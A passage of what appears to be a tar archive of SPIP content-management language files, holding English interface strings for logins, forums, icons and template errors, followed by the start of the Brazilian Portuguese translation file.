'form_forum_email_deja_enregistre' => 'This email address is already registered. Enter your usual password.',
'form_forum_identifiant_mail' => 'Your new identifier has just been emailed to you.',
'form_forum_identifiants' => 'Personal identifiers',
'form_forum_indiquer_nom_email' => 'Enter your name and email address here. You will receive your personal identifier shortly by email.',
'form_forum_login' => 'login:',
'form_forum_message_auto' => '(this is an automated message)',
'form_forum_pass' => 'password:',
'form_forum_probleme_mail' => 'Mail problem: the identifier could not be sent.',
'form_forum_voici1' => 'Here are your identifiers. You may now participate on the site
"@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'Here are your identifiers for submitting articles to
the site "@nom_site_spip@" (@adresse_login@):',
'form_indiquer_email' => 'Please enter your email address.',
'form_indiquer_nom' => 'Please enter your name.',
'form_indiquer_nom_site' => 'Please enter the name of your site.',
'form_pet_deja_enregistre' => 'This site is already registered',
'form_pet_signature_pasprise' => 'Your signature has been ignored.',
'form_prop_confirmer_envoi' => 'Confirm send',
'form_prop_description' => 'Description/comment',
'form_prop_enregistre' => 'Your suggestion has been recorded. It will appear online after being validated by the administrators of this site.',
'form_prop_envoyer' => 'Send a message',
'form_prop_indiquer_email' => 'Please enter a valid email address',
'form_prop_indiquer_nom_site' => 'Please enter the site’s name.',
'form_prop_indiquer_sujet' => 'Please enter a subject',
'form_prop_message_envoye' => 'Message sent',
'form_prop_non_enregistre' => 'Your suggestion has not been recorded.',
'form_prop_sujet' => 'Subject',
'form_prop_url_site' => 'Site URL',
'forum_non_inscrit' => 'Either you are not registered, or the address or password are wrong.',
'forum_par_auteur' => 'by @auteur@',
'forum_titre_erreur' => 'Error...',
// I
'ical_texte_rss_articles' => 'The site’s backend file for articles is:',
'ical_texte_rss_articles2' => 'You can also get backend files for individual sections on the site:',
'ical_texte_rss_breves' => 'Furthermore, there is a file containing the site’s news items. By selecting a section number, you can choose to get news items in that section only.',
'icone_a_suivre' => 'Launch pad',
'icone_admin_site' => 'Site administration',
'icone_agenda' => 'Calendar',
'icone_aide_ligne' => 'Help',
'icone_articles' => 'Articles',
'icone_auteurs' => 'Authors',
'icone_brouteur' => 'Quick browsing',
'icone_configuration_site' => 'Configuration',
'icone_configurer_site' => 'Configure your site',
'icone_creer_nouvel_auteur' => 'Create a new author',
'icone_creer_rubrique' => 'Create a section',
'icone_creer_sous_rubrique' => 'Create a subsection',
'icone_deconnecter' => 'Log out',
'icone_discussions' => 'Discussions',
'icone_doc_rubrique' => 'Documents attached',
'icone_ecrire_article' => 'Write a new article',
'icone_edition_site' => 'Edit site',
'icone_gestion_langues' => 'Language options',
'icone_informations_personnelles' => 'Personal information',
'icone_interface_complet' => 'full interface',
'icone_interface_simple' => 'Simplified interface',
'icone_maintenance_site' => 'Site maintenance',
'icone_messagerie_personnelle' => 'Private messages',
'icone_repartition_debut' => 'Show distribution from the start',
'icone_rubriques' => 'Sections',
'icone_sauver_site' => 'Site backup',
'icone_site_entier' => 'The entire site',
'icone_sites_references' => 'Referenced sites',
'icone_statistiques' => 'Site statistics',
'icone_suivi_activite' => 'Follow site activity',
'icone_suivi_actualite' => 'Site statistics',
'icone_suivi_pettions' => 'Manage petitions',
'icone_suivi_revisions' => 'Article revisions',
'icone_supprimer_document' => 'Delete this document',
'icone_supprimer_image' => 'Delete this image',
'icone_tous_articles' => 'All your articles',
'icone_tous_auteur' => 'All authors',
'icone_tous_visiteur' => 'All visitors',
'icone_visiter_site' => 'View the public site',
'icone_voir_en_ligne' => 'View online',
'img_indisponible' => 'image unavailable',
'impossible' => 'impossible',
'info_a_suivre' => 'LAUNCH PAD»',
'info_acces_interdit' => 'Access forbidden',
'info_acces_refuse' => 'Access denied',
'info_action' => 'Action: @action@',
'info_administrer_rubriques' => 'You can manage this section and any subsections',
'info_adresse_non_indiquee' => 'You did not specify an address to test!',
'info_aide' => 'HELP:',
'info_ajouter_mot' => 'Add keyword',
'info_annonce' => 'ANNOUNCEMENT',
'info_annonces_generales' => 'General announcements:',
'info_article_propose' => 'Article submitted',
'info_article_publie' => 'Article published',
'info_article_redaction' => 'Article in progress',
'info_article_refuse' => 'Article rejected',
'info_article_supprime' => 'Article deleted',
'info_articles' => 'Articles',
'info_articles_a_valider' => 'Articles awaiting validation',
'info_articles_nb' => '@nb@ articles',
'info_articles_proposes' => 'Articles submitted',
'info_articles_un' => '1 article',
'info_auteurs_nombre' => 'author(s):',
'info_authentification_ftp' => 'Authentication (by FTP).',
'info_breves_2' => 'news',
'info_breves_nb' => '@nb@ news items',
'info_breves_un' => '1 news item',
'info_connexion_refusee' => 'Connection denied',
'info_contact_developpeur' => 'Please contact a developer.',
'info_contenance' => 'This site contains:',
'info_contribution' => 'contributions',
'info_copyright' => '@spip@ is free software distributed @lien_gpl@.',
'info_copyright_doc' => 'For more visit <a href="@spipnet@">@spipnet_affiche@</a>.',
'info_copyright_gpl' => 'under the GPL license',
'info_cours_edition' => 'In progress',
'info_creer_repertoire' => 'Please create a file or a directory called:',
'info_creer_repertoire_2' => 'inside the sub-directory <b>@repertoire@</b>, then',
'info_creer_vignette' => 'automatic thumbnail creation',
'info_creerdansrubrique_non_autorise' => 'You don’t have sufficient rights to create content in this section',
'info_deplier' => 'Unfold',
'info_descriptif_nombre' => 'description(s):',
'info_description' => 'Description:',
'info_description_2' => 'Description:',
'info_dimension' => 'Size:',
'info_documents_nb' => '@nb@ documents',
'info_documents_un' => '1 document',
'info_ecire_message_prive' => 'Write a private message',
'info_email_invalide' => 'Invalid email address.',
'info_en_cours_validation' => 'Your articles in progress',
'info_en_ligne' => 'Online now:',
'info_envoyer_message_prive' => 'Send a private message to this author',
'info_erreur_requete' => 'Error in query:',
'info_erreur_squelette2' => 'No <b>@fichier@</b> template available ...',
'info_erreur_systeme' => 'System error (errno @errsys@)',
'info_erreur_systeme2' => 'The hard disk may be full or the database damaged. <br />
<span style="color:red;">Try <a href=\'@script@\'>repairing the database</a>, or contact your service provider.</span>',
'info_fini' => 'Done!',
'info_format_image' => 'Image format to be used for vignettes: @gd_formats@.',
'info_format_non_defini' => 'undefined format',
'info_grand_ecran' => 'Large display',
'info_image_aide' => 'HELP',
'info_image_process_titre' => 'How to create thumbnails',
'info_impossible_lire_page' => '<b>Error!</b> The page <tt><html>@test_proxy@</html></tt> cannot be viewed through the proxy',
'info_installation_systeme_publication' => 'Installing publication system...',
'info_installer_documents' => 'You can automatically install all documents in the folder @upload@.',
'info_installer_ftp' => 'As an administrator, you can install files via FTP to the folder @upload@ in order to select them directly from here.',
'info_installer_images' => 'You can install images in the formats JPEG, GIF, and PNG.',
'info_installer_images_dossier' => 'Install images in folder @upload@ if you want to select them here.',
'info_interface_complete' => 'full interface',
'info_interface_simple' => 'Simplified interface',
'info_joindre_document_article' => 'You can attach the following types of document to your article',
'info_joindre_document_rubrique' => 'You can add documents of the following types to this section ',
'info_joindre_documents_article' => 'You can attach documents of the following types to your article:',
'info_l_article' => 'the article',
'info_la_breve' => 'the news item',
'info_la_rubrique' => 'the section',
'info_langue_principale' => 'Main language for site',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ pixels',
'info_les_auteurs_1' => 'by @les_auteurs@',
'info_logo_format_interdit' => 'Only logos in these formats @formats@ are allowed.',
'info_logo_max_poids' => 'Logos must be less than @maxi@ (this file is @actuel@).',
'info_mail_fournisseur' => 'you@mailservice.com',
'info_message_2' => 'MESSAGE',
'info_message_supprime' => 'MESSAGE DELETED',
'info_messages_nb' => '@nb@ messages',
'info_messages_un' => '1 message',
'info_mise_en_ligne' => 'Published on:',
'info_modification_parametres_securite' => 'modifying security parameters',
'info_mois_courant' => 'During the month:',
'info_mot_cle_ajoute' => 'The following keyword was added to',
'info_multi_herit' => 'Default language',
'info_multi_langues_soulignees' => 'The <u>languages underlined</u> provide partial or total translations for all the interface texts. If you select these languages, many elements of the public site (dates, forms) will be translated automatically. As for the languages that are not underlined, those elements will be displayed using the site’s default language.',
'info_multilinguisme' => 'Multilingual',
'info_nom_non_utilisateurs_connectes' => 'Your name does not appear in the list of users online.',
'info_nom_utilisateurs_connectes' => 'Your name appears in the list of users online.',
'info_nombre_en_ligne' => 'Online now:',
'info_non_resultat' => 'No results for "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'You are not using private messaging on this site.',
'info_nouveau_message' => 'YOU HAVE A NEW MESSAGE',
'info_nouveaux_messages' => 'YOU HAVE @total_messages@ NEW MESSAGES',
'info_numero_abbreviation' => 'No',
'info_obligatoire' => 'This information is required',
'info_pense_bete' => 'MEMO',
'info_petit_ecran' => 'Small display',
'info_petition_close' => 'Petition closed',
'info_pixels' => 'pixels',
'info_plusieurs_mots_trouves' => 'Several keywords were found for "@cherche_mot@":',
'info_portfolio_automatique' => 'Automated portfolio:',
'info_premier_resultat' => '[First @debut_limit@ results out of @total@]',
'info_premier_resultat_sur' => '[First @debut_limit@ results out of @total@]',
'info_propose_1' => '[@nom_site_spip@] Submitted: @titre@',
'info_propose_2' => 'Article submitted
-----------------',
'info_propose_3' => 'The article "@titre@" has been submitted for publication.',
'info_propose_4' => 'You are invited to review it and give your opinion',
'info_propose_5' => 'in the associated forum. It is available here:',
'info_publie_01' => 'The article "@titre@" was validated by @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBLISHED: @titre@',
'info_publie_2' => 'Article published
-----------------',
'info_rechercher' => 'Search',
'info_rechercher_02' => 'Search:',
'info_remplacer_vignette' => 'Replace the default vignette by a customised logo:',
'info_rubriques_nb' => '@nb@ sections',
'info_rubriques_un' => '1 section',
'info_sans_titre_2' => 'untitled',
'info_selectionner_fichier' => 'You can select a file from the folder @upload@',
'info_selectionner_fichier_2' => 'Select a file:',
'info_sites_nb' => '@nb@ sites',
'info_sites_un' => '1 site',
'info_supprimer_vignette' => 'delete the vignette',
'info_symbole_bleu' => 'A <b>blue</b> symbol indicates a <b>memo</b>: i.e. a message for your personal use.',
'info_symbole_jaune' => 'A <b>yellow</b> symbol indicates an <b>announcement to all editors</b>: it can be edited by all administrators, and is visible to all editors.',
'info_symbole_vert' => 'A <b>green</b> symbol indicates the <b>messages exchanged with other users</b> of the site.',
'info_telecharger_nouveau_logo' => 'Upload a new logo:',
'info_telecharger_ordinateur' => 'Upload from your computer:',
'info_tous_resultats_enregistres' => '[all the results are recorded]',
'info_tout_afficher' => 'Show all',
'info_travaux_texte' => 'This site is not yet set up. Please come back later...',
'info_travaux_titre' => 'Site under construction',
'info_trop_resultat' => 'Too many results for "@cherche_mot@"; please refine the search.',
'info_utilisation_messagerie_interne' => 'You are using the internal message system of this site.',
'info_valider_lien' => 'validate this link',
'info_verifier_image' => ', please make sure your images have been transferred correctly.',
'info_vignette_defaut' => 'Default vignette',
'info_vignette_personnalisee' => 'Custom vignette',
'info_visite' => 'visit:',
'info_vos_rendez_vous' => 'Your future appointments',
'infos_vos_pense_bete' => 'Your memos',
// L
'label_ajout_id_rapide' => 'Quick addition',
'label_poids_fichier' => 'Size',
'lien_afficher_icones_seuls' => 'Show only icons',
'lien_afficher_texte_icones' => 'Show icons and text',
'lien_afficher_texte_seul' => 'Show only text',
'lien_liberer' => 'release',
'lien_liberer_tous' => 'Release all',
'lien_nouvea_pense_bete' => 'NEW MEMO',
'lien_nouveau_message' => 'NEW MESSAGE',
'lien_nouvelle_annonce' => 'NEW ANNOUNCEMENT',
'lien_petitions' => 'PETITION',
'lien_popularite' => 'popularity: @popularite@%',
'lien_racine_site' => 'SITE ROOT',
'lien_reessayer' => 'try again',
'lien_repondre_message' => 'Reply to this message',
'lien_supprimer' => 'delete',
'lien_tout_afficher' => 'Show all',
'lien_visite_site' => 'visit this site',
'lien_visites' => '@visites@ visits',
'lien_voir_auteur' => 'Check this author',
'ligne' => 'Line',
'login' => 'Connection',
'login_acces_prive' => 'access to the private area',
'login_autre_identifiant' => 'use a different ID',
'login_cookie_accepte' => 'Please configure your browser to accept them for this site.',
'login_cookie_oblige' => 'For secure identification, your browser must accept cookies.',
'login_deconnexion_ok' => 'Logged out.',
'login_erreur_pass' => 'Wrong password.',
'login_espace_prive' => 'private area',
'login_identifiant_inconnu' => 'The identifier "@login@" is unknown.',
'login_login' => 'Login:',
'login_login2' => 'Login or e-mail address:',
'login_login_pass_incorrect' => '(Wrong login or password).',
'login_motpasseoublie' => 'password forgotten?',
'login_non_securise' => 'Caution, this form is not secure.
If you do not want your password to be open to
interception on the network, please activate Javascript
in your browser and',
'login_nouvelle_tentative' => 'New attempt',
'login_par_ici' => 'You are registered... this way...',
'login_pass2' => 'Password:',
'login_preferez_refuser' => '<b>If you prefer to refuse cookies</b>, there is another, less secure, method of connection available:',
'login_recharger' => 'reload this page',
'login_rester_identifie' => 'Remember my ID for a few days',
'login_retour_public' => 'Back to the public site',
'login_retour_site' => 'Back to the public site',
'login_retoursitepublic' => 'back to the public site',
'login_sans_cookiie' => 'Identification without cookie',
'login_securise' => 'Secure login',
'login_sinscrire' => 'register',
'login_test_navigateur' => 'testing browser/reconnection',
'login_verifiez_navigateur' => '(However, check that your browser did not memorise your password...)',
// M
'masquer_colonne' => 'Hide this column',
'masquer_trad' => 'hide translations',
'module_fichiers_langues' => 'Language files',
// N
'navigateur_pas_redirige' => 'If you are not automatically redirected, click here to continue.',
'numero' => 'Number',
// O
'occurence' => 'Instance',
'onglet_affacer_base' => 'Delete the database',
'onglet_auteur' => 'The author',
'onglet_contenu_site' => 'Site content',
'onglet_evolution_visite_mod' => 'Trend in visits',
'onglet_fonctions_avances' => 'Advanced functions',
'onglet_informations_personnelles' => 'Personal Information',
'onglet_interactivite' => 'Interactivity',
'onglet_messagerie' => 'Messaging',
'onglet_repartition_rubrique' => 'Distribution by section',
'onglet_save_restaur_base' => 'Backup/restore the database',
'onglet_vider_cache' => 'Empty the cache',
// P
'pass_choix_pass' => 'Please choose a new password:',
'pass_erreur' => 'Error',
'pass_erreur_acces_refuse' => '<b>Error:</b> you no longer have access to this site.',
'pass_erreur_code_inconnu' => '<b>Error:</b> this code does not match any visitors with access permission to this site.',
'pass_erreur_non_enregistre' => '<b>Error :</b> the address <tt>@email_oubli@</tt> is not registered on this site.',
'pass_erreur_non_valide' => '<b>Error :</b> the e-mail <tt>@email_oubli@</tt> is not valid!',
'pass_erreur_probleme_technique' => '<b>Error :</b> this e-mail could not be sent due to a technical problem.',
'pass_espace_prive_bla' => 'The private area of this site is open to
visitors after registration. Once you have registered,
you can review the articles in progress,
submit articles and participate in forums.',
'pass_forum_bla' => 'You have requested to take part in a forum
reserved for registered visitors.',
'pass_indiquez_cidessous' => 'Enter the email address with which you
registered. You
will receive an email explaining how you
can retrieve your password.',
'pass_mail_passcookie' => '(this is an automated message)
To recover your access to the site
@nom_site_spip@ (@adresse_site@)
Please go to the following address:
@sendcookie@
You can then enter a new password
and log in to the site.
',
'pass_mot_oublie' => 'Password forgotten',
'pass_nouveau_enregistre' => 'Your new password has been recorded.',
'pass_nouveau_pass' => 'New password',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Forgotten password',
'pass_procedure_changer' => 'In order to change your password, we have to check your identity first. Please enter the e-mail address associated with this account.',
'pass_quitter_fenetre' => 'Close this window',
'pass_rappel_login' => 'Reminder: your identifier (login) is "@login@".',
'pass_recevoir_mail' => 'You will receive an email explaining how you can retrieve your access to the site.',
'pass_retour_public' => 'Back to the public site',
'pass_rien_a_faire_ici' => 'Nothing to do here.',
'pass_vousinscrire' => 'Registering with the site',
'precedent' => 'previous',
'previsualisation' => 'Preview',
'previsualiser' => 'Show preview',
// R
'retour' => 'Return',
// S
'spip_conforme_dtd' => 'SPIP finds this page to be in compliance with its DOCTYPE:',
'squelette' => 'template',
'squelette_inclus_ligne' => 'included template, line',
'squelette_ligne' => 'template, line',
'stats_visites_et_popularite' => '@visites@ visits; popularity: @popularite@',
'suivant' => 'next',
// T
'taille_go' => '@taille@ Gb',
'taille_ko' => '@taille@ kb',
'taille_mo' => '@taille@ Mb',
'taille_octets' => '@taille@ bytes',
'texte_actualite_site_1' => 'When you are more familiar with the interface, click on "',
'texte_actualite_site_2' => 'full interface',
'texte_actualite_site_3' => '" to make more features available.',
'texte_creation_automatique_vignette' => 'Automatic creation of preview vignettes is enabled. If you use this form to install, images in the format(s) @gd_formats@, they will be coupled with a vignette whose maximum size is @taille_preview@ pixels.',
'texte_documents_associes' => 'The following documents are associated with the article,,
but they were not directly
inserted. Depending on the layout of the public site,
they may appear as attached documents.',
'texte_erreur_mise_niveau_base' => 'Database error during the upgrade.
The image <b>@fichier@</b> did not pass (article @id_article@).<p>
Note this reference carefully, try the upgrade procedure again,
and check afterwards that the images still appear
in the articles.',
'texte_erreur_visiteur' => 'You have tried to enter the private area using an unauthorised login.',
'texte_inc_auth_1' => 'You used the login
<b>@auth_login@</b>, but it does not exist in the database.
Try to',
'texte_inc_auth_2' => 'reconnect',
'texte_inc_auth_3' => ', having quit and
restarted your browser if necessary.',
'texte_inc_config' => 'Changes made to the options on these pages have a great effect on
the functioning of the site. You are advised not to make any changes unless you are
familiar with how SPIP works. <br /><br /><b>In
general, you are strongly advised
to let the main webmaster of the site deal with these pages.</b>',
'texte_inc_meta_1' => 'The system encountered an error when trying to write the file <code>@fichier@</code>. As a site administrator, please',
'texte_inc_meta_2' => 'verify write permissions',
'texte_inc_meta_3' => 'of the directory <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'editing in progress',
'texte_statut_poubelle' => 'to the dustbin',
'texte_statut_propose_evaluation' => 'submitted for evaluation',
'texte_statut_publie' => 'published online',
'texte_statut_refuse' => 'rejected',
'titre_ajouter_mot_cle' => 'ADD A KEYWORD:',
'titre_cadre_raccourcis' => 'SHORTCUTS:',
'titre_changer_couleur_interface' => 'Changing interface colour',
'titre_image_admin_article' => 'You can administrate this article',
'titre_image_administrateur' => 'Administrator',
'titre_image_aide' => 'Help on this item',
'titre_image_auteur_supprime' => 'Author deleted',
'titre_image_redacteur' => 'Editor without access',
'titre_image_redacteur_02' => 'Editor',
'titre_image_selecteur' => 'Display list',
'titre_image_visiteur' => 'Visitor',
'titre_joindre_document' => 'ATTACH A DOCUMENT',
'titre_mots_cles' => 'KEYWORDS',
'titre_probleme_technique' => 'Warning: a technical problem (SQL server) is preventing access to this part of the site. Thank you for your patience.',
'titre_publier_document' => 'PUBLISH A DOCUMENT IN THIS SECTION',
'titre_signatures_attente' => 'Signatures awaiting validation',
'titre_signatures_confirmees' => 'Signatures confirmed',
'titre_statistiques' => 'Site statistics',
'titre_titre_document' => 'Document title:',
'todo' => 'to come',
'trad_reference' => '(reference for translations)',
// Z
'zbug_balise_b_aval' => ': B tag too late in loop',
'zbug_balise_inexistante' => 'Tag @balise@ wrongly declared for @from@',
'zbug_balise_sans_argument' => 'Missing argument in the @balise@ tag',
'zbug_boucle' => 'loop',
'zbug_boucle_recursive_undef' => 'undefined recursive loop: @nom@',
'zbug_calcul' => 'calculation',
'zbug_champ_hors_boucle' => 'Field @champ@ outside loop',
'zbug_champ_hors_motif' => 'Field @champ@ outside context @motif@',
'zbug_code' => 'code',
'zbug_critere_inconnu' => 'Unknown criterion @critere@',
'zbug_distant_interdit' => 'External data forbidden',
'zbug_doublon_table_sans_cle_primaire' => 'Duplicate entries on a table which does not have a simple primary key',
'zbug_doublon_table_sans_index' => 'Duplicate entries on a table without an index',
'zbug_erreur_boucle_double' => 'Loop @id@: double definition',
'zbug_erreur_boucle_fermant' => 'Loop @id@: missing closing tag',
'zbug_erreur_boucle_syntaxe' => 'Syntax error in loop (BOUCLE)',
'zbug_erreur_compilation' => 'Compilation error',
'zbug_erreur_execution_page' => 'Execution error',
'zbug_erreur_filtre' => 'Undefined filter @filtre@',
'zbug_erreur_meme_parent' => '{meme_parent} only applies to loops (FORUMS) and (RUBRIQUES)',
'zbug_erreur_squelette' => 'Error(s) in template',
'zbug_hors_compilation' => 'Uncompiled',
'zbug_info_erreur_squelette' => 'Error in the site',
'zbug_inversion_ordre_inexistant' => 'Reversion of non-existent order',
'zbug_pagination_sans_critere' => '#PAGINATION tag without {pagination} criterion, or used in a recursive loop',
'zbug_parametres_inclus_incorrects' => 'Wrong inclusion parameter: @param@',
'zbug_profile' => 'Calculation time: @time@',
'zbug_resultat' => 'result',
'zbug_serveur_indefini' => 'Undefined SQL server',
'zbug_statistiques' => 'SQL query statistics in order of duration',
'zbug_table_inconnue' => 'Unknown SQL table "@table@"',
'zxml_connus_attributs' => 'known attributes',
'zxml_de' => 'from',
'zxml_inconnu_attribut' => 'unknown attribute',
'zxml_inconnu_balise' => 'unknown tag',
'zxml_inconnu_entite' => 'unknown entity',
'zxml_inconnu_id' => 'unknown ID',
'zxml_mais_de' => 'but from',
'zxml_non_conforme' => 'not true to the principle',
'zxml_non_fils' => 'is not a child of',
'zxml_nonvide_balise' => 'tag not empty',
'zxml_obligatoire_attribut' => 'required attribute absent in',
'zxml_succession_fils_incorrecte' => 'incorrect child inheritance',
'zxml_survoler' => 'to see the correct ones, hover with the cursor',
'zxml_valeur_attribut' => 'attribute value',
'zxml_vide_balise' => 'empty tag',
'zxml_vu' => 'seen before'
);
?>
spip_pt_br.php 0000666 00000112062 15252547432 0007435 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=pt_br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'Português do Brasil [pt_br]',
'0_liste' => 'spip-dev@rezo.net',
'0_mainteneur' => 'ricardo@calepino.com',
// A
'access_interface_graphique' => 'Voltar para a interface gráfica completa',
'access_mode_texte' => 'Exibir a interface textual simplificada',
'admin_debug' => 'depurar',
'admin_modifier_article' => 'Editar esta matéria',
'admin_modifier_auteur' => 'Editar este autor',
'admin_modifier_breve' => 'Editar esta nota',
'admin_modifier_mot' => 'Editar esta palavra-chave',
'admin_modifier_rubrique' => 'Editar esta seção',
'admin_recalculer' => 'Atualizar esta página',
'afficher_calendrier' => 'Exibir o calendário',
'afficher_trad' => 'exibir as traduções',
'alerte_maj_impossible' => 'Atenção! A atualização da base de dados SQL para a versão @version@ não é possível, provavelmente por problema de direitos de edição na base de dados. Por favor, contate o seu provedor de hospedagem.',
'alerte_modif_info_concourante' => 'ATENÇÃO: Esta informação foi alterada por outra pessoa. O valor atual é:',
'analyse_xml' => 'Analisar XML',
'annuler' => 'Cancelar',
'antispam_champ_vide' => 'Deixe, por favor, este campo vazio:',
'articles_recents' => 'Matérias mais recentes',
'avis_archive_incorrect' => 'a cópia de segurança não é um arquivo do SPIP',
'avis_archive_invalide' => 'a cópia de segurança não é válida',
'avis_attention' => 'ATENÇÃO!',
'avis_champ_incorrect_type_objet' => 'Nome de campo incorreto @name@ para objeto do tipo @type@',
'avis_colonne_inexistante' => 'A coluna @col@ não existe',
'avis_erreur' => 'Erro: ver abaixo',
'avis_erreur_connexion' => 'Erro de conexão',
'avis_erreur_cookie' => 'problema de cookie',
'avis_erreur_fonction_contexte' => 'Erro de programação. Esta função não deve ser chamada neste contexto.',
'avis_erreur_mysql' => 'Erro SQL',
'avis_erreur_sauvegarde' => 'Erro na cópia de segurança (@type@ @id_objet@) !',
'avis_erreur_visiteur' => 'Problema de acesso ao espaço privado',
// B
'barre_a_accent_grave' => 'Inserir um A maiúsculo com acento grave',
'barre_aide' => 'utilize os atalhos tipográficos para enriquecer o seu layout',
'barre_e_accent_aigu' => 'Inserir um E maiúsculo com acento agudo',
'barre_eo' => 'Inserir um OE contraído',
'barre_eo_maj' => 'Inserir um OE contraído maiúsculo',
'barre_euro' => 'Inserir o símbolo € (euro)',
'barre_gras' => 'Escrever em {{negrito}}',
'barre_guillemets' => 'envolver em "aspas"',
'barre_guillemets_simples' => 'Envolver em ’plicas’',
'barre_intertitre' => 'Transformar em {{{entretítulo}}}',
'barre_italic' => 'Escrever em {itálico}',
'barre_lien' => 'Transformar em [link hipertexto->http://...]',
'barre_lien_input' => 'Informe o endereço do seu link (você pode informar um endereço web do tipo http://www.monsite/com ou simplesmente informar o número de uma matéria deste site.',
'barre_note' => 'Transformar em [[Nota de pé de página]]',
'barre_paragraphe' => 'Criar um parágrafo',
'barre_quote' => '<quote>Citar uma mensagem</quote>',
'bouton_changer' => 'Alterar',
'bouton_chercher' => 'Procurar',
'bouton_choisir' => 'Escolher',
'bouton_deplacer' => 'Deslocar',
'bouton_download' => 'Download',
'bouton_enregistrer' => 'Gravar',
'bouton_radio_desactiver_messagerie_interne' => 'Desativar o sistema interno de mensagens',
'bouton_radio_envoi_annonces' => 'Enviar os avisos editoriais',
'bouton_radio_non_envoi_annonces' => 'Não enviar os avisos',
'bouton_radio_non_envoi_liste_nouveautes' => 'Não enviar a lista de novidades',
'bouton_recharger_page' => 'atualizar esta página',
'bouton_telecharger' => 'Transferir',
'bouton_upload' => 'Upload',
'bouton_valider' => 'Validar',
// C
'cal_apresmidi' => 'tarde',
'cal_jour_entier' => 'dia todo',
'cal_matin' => 'manhã',
'cal_par_jour' => 'calendário por dia',
'cal_par_mois' => 'calendário por mês',
'cal_par_semaine' => 'calendário por semana',
'choix_couleur_interface' => 'côr',
'choix_interface' => 'escolha da interface',
'colonne' => 'Coluna',
'confirm_changer_statut' => 'Atenção, você solicitou a alteração de status deste elemento. Deseja continuar?',
'correcte' => 'correta',
// D
'date_aujourdhui' => 'hoje',
'date_avant_jc' => 'a.C.',
'date_dans' => 'entre @delai@',
'date_de_mois_1' => '@j@ de @nommois@',
'date_de_mois_10' => '@j@ de @nommois@',
'date_de_mois_11' => '@j@ de @nommois@',
'date_de_mois_12' => '@j@ de @nommois@',
'date_de_mois_2' => '@j@ de @nommois@',
'date_de_mois_3' => '@j@ de @nommois@',
'date_de_mois_4' => '@j@ de @nommois@',
'date_de_mois_5' => '@j@ de @nommois@',
'date_de_mois_6' => '@j@ de @nommois@',
'date_de_mois_7' => '@j@ de @nommois@',
'date_de_mois_8' => '@j@ de @nommois@',
'date_de_mois_9' => '@j@ de @nommois@',
'date_demain' => 'amanhã',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_heures_minutes_court' => '@h@h@m@',
'date_fmt_jour' => '@nomjour@ @jour@',
'date_fmt_jour_heure' => '@jour@ - @heure@',
'date_fmt_jour_heure_debut_fin' => 'dia @jour@ de @heure_debut@ a @heure_fin@',
'date_fmt_jour_heure_debut_fin_abbr' => 'dia @dtstart@@jour@ de @heure_debut@@dtabbr@ a @dtstart@@heure_fin@@dtend@',
'date_fmt_jour_mois' => '@jour@ de @nommois@',
'date_fmt_jour_mois_annee' => '@jour@ de @nommois@ de @annee@',
'date_fmt_mois_annee' => '@nommois@ de @annee@',
'date_fmt_nomjour' => '@nomjour@ @date@',
'date_fmt_nomjour_date' => '@nomjour@ de @date@',
'date_fmt_periode' => 'De @date_debut@ a @date_fin@',
'date_fmt_periode_abbr' => 'De @dtart@@date_debut@@dtabbr@ a @dtend@@date_fin@@dtabbr@',
'date_fmt_periode_from' => 'De',
'date_fmt_periode_to' => 'para',
'date_heures' => 'horas',
'date_hier' => 'ontem',
'date_il_y_a' => 'à @delai@',
'date_jnum1' => '1º',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'domingo',
'date_jour_1_abbr' => 'dom.',
'date_jour_1_initiale' => 'd.',
'date_jour_2' => 'segunda-feira',
'date_jour_2_abbr' => 'seg.',
'date_jour_2_initiale' => 's.',
'date_jour_3' => 'terça-feira',
'date_jour_3_abbr' => 'ter.',
'date_jour_3_initiale' => 't.',
'date_jour_4' => 'quarta-feira',
'date_jour_4_abbr' => 'quar.',
'date_jour_4_initiale' => 'q.',
'date_jour_5' => 'quinta-feira',
'date_jour_5_abbr' => 'quin.',
'date_jour_5_initiale' => 'q.',
'date_jour_6' => 'sexta-feira',
'date_jour_6_abbr' => 'sex.',
'date_jour_6_initiale' => 's.',
'date_jour_7' => 'sábado',
'date_jour_7_abbr' => 'sáb.',
'date_jour_7_initiale' => 's.',
'date_jours' => 'dias',
'date_minutes' => 'minutos',
'date_mois' => 'meses',
'date_mois_1' => 'janeiro',
'date_mois_10' => 'outubro',
'date_mois_10_abbr' => 'out.',
'date_mois_11' => 'novembro',
'date_mois_11_abbr' => 'nov.',
'date_mois_12' => 'dezembro',
'date_mois_12_abbr' => 'dez.',
'date_mois_1_abbr' => 'jan.',
'date_mois_2' => 'fevereiro',
'date_mois_2_abbr' => 'fev.',
'date_mois_3' => 'março',
'date_mois_3_abbr' => 'mar.',
'date_mois_4' => 'abril',
'date_mois_4_abbr' => 'abr.',
'date_mois_5' => 'maio',
'date_mois_5_abbr' => 'mai.',
'date_mois_6' => 'junho',
'date_mois_6_abbr' => 'jun.',
'date_mois_7' => 'julho',
'date_mois_7_abbr' => 'jul.',
'date_mois_8' => 'agosto',
'date_mois_8_abbr' => 'ago.',
'date_mois_9' => 'setembro',
'date_mois_9_abbr' => 'set.',
